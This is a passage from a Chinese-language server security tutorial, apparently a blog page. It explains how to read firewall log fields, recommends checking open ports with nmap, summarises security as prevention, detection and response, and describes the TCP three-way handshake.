    日志输出看起来有点恐怖,但是你能容易地拣出你想要的信息,首先,你看到的是日期和主机名,IN和OUT描述了数据包是来自哪个端口和通过哪个端口出去的,MAC给出了源和目标MAC地址,SRC和DST是源和目标ip地址,PROTO是UDP,TCP,ICMP等等,SPT和DPT是源和目标端口号,例如:大部分到服务的连接如ssh都有一个临时的源端口,如35214,和一个目标端口22,那么象前面说道的windows机器的信使服务数据包,你可以安全地忽略它。

    当你安装号防火墙后,务必再从另外一台机器上运行一次nmap,来检查是否只打开了正确的端口。

总结

    安全是不断提高、评估你的保护尺度的一个循环过程,上面的工具允许你保护你的服务器,确保它按需要进行工作,分析意外事件的网络通讯,记住,意外总是让人不愉快的!正如Larry Niven说的:“你不理解的任何事情都是危险的除非你理解了它”。

    当你正在使用这些工具时,尝试思考安全的3个步骤:预防,检查和响应。如果可能你最好预防事情的发生,发生入侵后清除的代价是昂贵的,并且你可能丢失掉有用的数据,无论如何,你将理解一些入侵的知识,因此尽你所能做好预防工作。

TCP 3次握手

    UDP是一个无连接的协议,相反,TCP在传输失败时会重新再发送一次数据,它的设置比UDP更复杂,以3次握手开始,初始化一个连接,客户端发送一个SYN(开始同步)数据包,服务器然后用一个SYN+ACK数据包进行响应(如果端口是打开的情况下),然后客户端响应一个ACK(告知收到)数据包,连接就这样建立了,这些数据包携带数据序列号,它允许协议检查和重新发送丢失的数据包,如果端口是关闭的或被防火墙过滤了,响应可能是RST或没有响应,更多信息可以查看nmap文档。
分页: 157/186 第一页 上页 152 153 154 155 156 157 158 159 160 161 下页 最后页 [ 显示模式: 摘要 | 列表 ]